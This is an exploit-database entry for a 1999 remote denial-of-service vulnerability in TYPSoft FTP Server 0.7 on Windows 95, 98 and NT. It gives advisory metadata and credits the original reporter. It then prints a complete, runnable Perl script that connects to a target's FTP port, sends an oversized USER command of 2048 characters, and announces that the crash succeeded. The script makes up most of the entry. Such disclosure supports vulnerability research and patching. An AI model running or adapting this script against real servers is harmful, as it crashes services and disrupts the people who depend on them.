exploits , vulnerabilities , articles , TYPSoft FTP Server remote DoS Vulnerability

Title	TYPSoft FTP Server remote DoS Vulnerability
Published	1999-06-08-12:00AM
Updated	1999-06-08-12:00AM
Class	Input Validation Error
CVE	CAN-2000-1035
Remote	Yes
Local	Yes
Credit	This vulnerability was originally reported to bugtraq by dethy <dethy@synnergy.net>.
Vulnerable	TYPSoft TYPSoft 0.7 x Microsoft Windows 95 Microsoft Windows 98 Microsoft Windows NT 4.0
Not Vulnerable
Code	This exploit was excerpted from the original advisory by dethy (www.synnergy.net): simple script to send a long 'user' command to the server, resulting in the ftpd crashing. ================<cut>================== #!/usr/bin/perl use Getopt::Std; use IO::Socket; getopts('s:', \%args); if(!defined($args{s})){&usage;} $serv = $args{s}; $foo = "A"; $number = 2048; $data .= $foo x $number; $EOL="1512"; $remote = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $args{s}, PeerPort => "ftp(21)", ) || die("Unable to connect to ftp port at $args{s} "); $remote->autoflush(1); print $remote "USER $data". $EOL; while (<$remote>){ print } print(" Crash was successful ! "); sub usage {die(" $0 -s <server> ");} ================</cut>====================
TXT

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